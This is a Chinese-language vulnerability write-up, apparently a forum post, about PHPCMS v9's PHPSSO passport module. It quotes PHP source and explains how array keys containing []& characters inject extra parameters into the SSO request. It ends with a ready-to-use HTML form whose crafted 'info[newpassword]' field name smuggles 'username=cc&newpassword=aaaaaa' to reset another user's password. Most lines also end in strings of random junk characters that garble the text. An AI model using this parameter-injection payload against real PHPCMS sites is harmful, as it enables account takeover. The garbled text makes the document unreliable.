提到的通行证的代码:
; I' Z7 ~; R1 i2 d1 f3 L$ O7 e0 J6 i6 r" y) W) i
* y7 E+ P. ]. g0 s# R
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);5 x( `7 ^2 T& K6 [* o3 J; N+ C- i
B! e: `) \2 B. v" n8 `在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
' q0 H7 E- `6 O5 b
1 a/ Z% L0 K$ J; y: u d( f我把它留给了你们。9 m9 h4 t% A% X- [. V+ y1 C% r
不知道你们发现了它没有。# A3 g0 @/ @& K6 S5 W6 L9 S/ _. d
! b8 s: e! n: C4 d/ K" f5 T# D
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。; G8 m: e, A. W" D- x, n5 z* ^8 O
+ o/ F( _2 }9 W8 w$ K4 f
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。) s( v, I; H6 G; T L
. m, w0 A$ B; \2 ^
也就是* [9 @7 B* K6 O; d4 a5 D
@9 {9 }# f/ ^" E0 f- A/ T! t
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& |9 [. K; e2 E+ H4 t5 X g4 [
% g8 k. Q% D/ Y要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。 N9 S; o2 Q: o1 A, p
9 A0 i1 X/ _& z8 g t9 W6 d) q
6 a6 ]+ c7 b* O$ p- o
其实我们有这样的机会,看看代码,如下:* D) J6 |# K" ~) W9 R
9 h4 y$ @; ?" }7 j I j3 ~! Q1 [5 Q4 H
9 t& F2 w- W( G/ p1 z
public function auth_data($data) {2 c( r) z0 x$ p# ^9 v: G* r; ^! `
$s = $sep = '';
. G9 G4 w/ l6 r1 {, y$ C foreach($data as $k => $v) {4 h! N8 o: U' S$ u
if(is_array($v)) {
S" I7 L7 E$ J# Z $s2 = $sep2 = '';2 X8 ]- s; @8 [6 ^" ~
foreach($v as $k2 => $v2) {# m: N; _, r: q* i5 f6 s
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2); w7 L5 K( }6 w8 @5 S/ O. W# a
$sep2 = '&';8 y% z+ A# x1 E: a' ?6 f
}6 p- W V( Z! _, g
$s .= $sep.$s2;
+ t$ o1 {$ K2 u3 z2 L' s } else {
5 q$ @1 i0 ^3 O. Q $s .= "$sep$k=".$this->_ps_stripslashes($v);
) [2 H2 W; F# y2 Z }
- u2 A- g9 ], b9 U8 Z7 `4 Z' A! _ $sep = '&';7 |- T2 ]* _" H* p
}: u8 r8 H% W- k& u$ L
1 ^" ~7 Q s4 t0 j $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));) X* ?/ ]; U' A8 C5 M
return $auth_s;
& l' y7 X# ~& B: J9 h& A2 Y: O }" ?2 i) O. V% r* H3 u
' P4 n( R$ d1 j% C! a5 A& W; h
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。: Z/ v) `: n$ s0 ]
6 n* h8 n+ ?" D8 o
举个例子
8 d4 Q% O: Q7 |9 M$ G+ w5 k' U' D3 G! F; a
$a[aaa=a&bbb] = 'a';
* [/ R6 y2 ?. f1 f/ F3 q& D$ [0 n
6 \2 C+ J2 E$ C1 M; B1 T会变成aaa=a&bbb=a; y: j' w" I- G5 ]$ e! k+ b
. A* |& c: Z) O4 L& D0 C& {6 R9 P
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。- ~2 q6 W6 o2 y1 |2 r( N
+ @6 \; N& C+ A这个时候,我们可以再去看一个函数。6 F# B* Y4 a* t) @
! X5 d9 ^! N2 t: F7 Y4 T
就在这个文件内:
" Q l/ q1 y/ [% w. _& a! F$ H8 m) E: M& Y" c' p6 x
1 d+ N; M$ H% o0 C. |- U
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# ?; N* L* ?4 [( a- J' E6 z
if($email && !$this->_is_email($email)) {
6 K( k V4 s0 n% ~, `2 p4 P return -4;( b" u" x+ X) B5 {
}6 d# |4 C" n' B5 P( e- c6 D
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. Q7 I: I: h) q8 m- l) j7 r
}
( r# u+ H- N+ ^, ~; B. M2 a
4 t0 R' D0 p s# ]/ i' k这是向通行证发了这样一个请求。
/ B1 F' ` i( h: f7 L3 D3 z: c
# L0 K" A0 w6 A% F我们再跟到通信证代码里去看看,就会有所发现。
0 p# p+ B- O+ T3 y4 u; Q5 q3 c( v! S
4 \; n+ _$ ]0 R, D; w* J" o5 J9 a
public function edit() {
! c3 n5 H" x% f//能省就省,太长了不是吗?
1 N! |0 S# r5 }$ ~& a( y/ u
& ~' M' l5 H3 d/ s+ d' {5 }; D5 Vif($this->username) {
) c+ U9 I3 e$ q" t. W; c//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; S% W5 k8 H: R F$ [6 d7 ~9 K5 R $res = $this->db->update($data, array('username'=>$this->username));
) c- q7 l/ G( V, q! X$ W } else {
! \: E$ {1 L4 H+ b; ~; d1 m, ~ file_put_contents('typeb.txt',print_r($data,1).$this->uid);$ |- ?. `, L- O0 G; s6 _
$res = $this->db->update($data, array('uid'=>$this->uid));) i3 {9 |& U3 |9 d& j+ Z
}2 Q% w) X$ J$ P0 `& D l0 t# s! E
, \5 U! f/ P H& e% x' i
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
4 w" w3 a; H& q' f" p; g
: w" i3 ^, Z: m' q: ^' J% xpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
1 o. ?5 E6 B# v- H5 F8 C
0 m; a9 F- |. ]很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
7 P; T, c, j& _" g6 S( q S. I9 _4 X7 w; C, ^" E7 B' t
我当然找到了:
/ }) m$ H: K6 A! Uphpcms9/phpcms/modules/member/index.php
; {# f' U# i, v7 d' G. l' {
1 J! L7 L6 h5 z. l7 g$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);5 Q; ?6 }" D2 |9 n7 Z0 c# y2 I% E2 e
2 ?" m1 b+ B' p. m
然后就没有然后了。! a: B. t4 E9 \$ E2 t
% q, \. f9 t/ @% ]/ C9 c( l! S2 h
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 S9 S) U6 \' i
<table width="100%" cellspacing="0" class="table_form">
- q/ L; C& B+ `% o* _6 A <tr>5 E0 r7 W% k2 z4 `/ Y
<th width="80">邮箱:</th> 0 W/ O) C$ j# U9 K2 o. c9 i
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
# J5 p9 H2 ]8 d; t </tr>* Q/ W+ S, B9 R8 K `6 ^9 u! u) N
<tr># E6 r, d; B( V1 H" q1 k
<th width="80">原密码:</th> $ b, X% z# {4 K$ D4 }
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
8 `4 i6 O4 R- |& B </tr>
# P$ s* m3 t' q% I# { <tr>
: W1 N3 }# @9 F8 q$ \' I% m <th>新密码:</th>
( u. b. p% z* K% v5 ~+ W; i <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
, ^ ?- c9 L: H( a) o: F </tr>- n% F7 z; q" t/ x0 J- m( m4 Y
<th></th>0 `8 [/ m) ?1 g, [* ~4 Z! f
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
7 V6 C1 j8 p7 h+ B7 A( b, u. r; q </tr>/ z" B1 u; e; r1 K# ^
</table>
* u1 R9 ~" [% x, O- O7 Y& m" z! N5 d0 S/ w+ ^1 L$ T; b! {+ w5 ]
; g9 R+ d0 w; E. M; e( K, d- K# L2 ?
</form>
! D) i0 D8 L* Q$ R ~& w |